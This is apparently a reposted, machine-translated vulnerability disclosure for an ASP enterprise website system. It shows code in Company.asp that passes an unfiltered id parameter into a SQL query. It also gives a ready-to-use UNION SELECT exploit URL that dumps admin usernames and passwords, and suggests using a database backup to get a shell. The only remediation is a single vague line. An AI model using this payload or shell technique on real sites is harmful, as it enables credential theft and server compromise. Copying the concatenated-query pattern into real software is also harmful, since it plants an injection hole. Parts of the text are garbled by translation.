Jicheng electric company enterprise website management system v1.0 (Chinese and English versions) Vulnerabilities and repair

Source: Internet
Author: User

File: Company. asp
 
 
<%
ID = trim (request. QueryString ("id "))
If ID = "" then ID = 1
Set Rs = server. createobject ("adodb. recordset ")
Rs. source = "select * from Company where ID =" & ID &""
Rs. open Rs. source, conn, 1, 3
If Rs. eof then
Content = "NO Content added! "
Else
Kig = Rs ("Kig ")
Rs ("kig") = Kig + 1
Rs. update
Content = Rs ("Content ")
ComName = Rs ("ComName ")
End if
Rs. close
Set Rs = nothing
%>
Nothing is filtered ..
 
 
Exp:
 
 
Company. asp? Id = 2 union select 1, username, password, 4,5, 6,7, 8 from Nwebadmin
 
 
The official website also exists ..
 
 
Back up the database to get the shell.
 
 

Www.2cto.com:
Enhance the filtering of the Code mentioned above

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.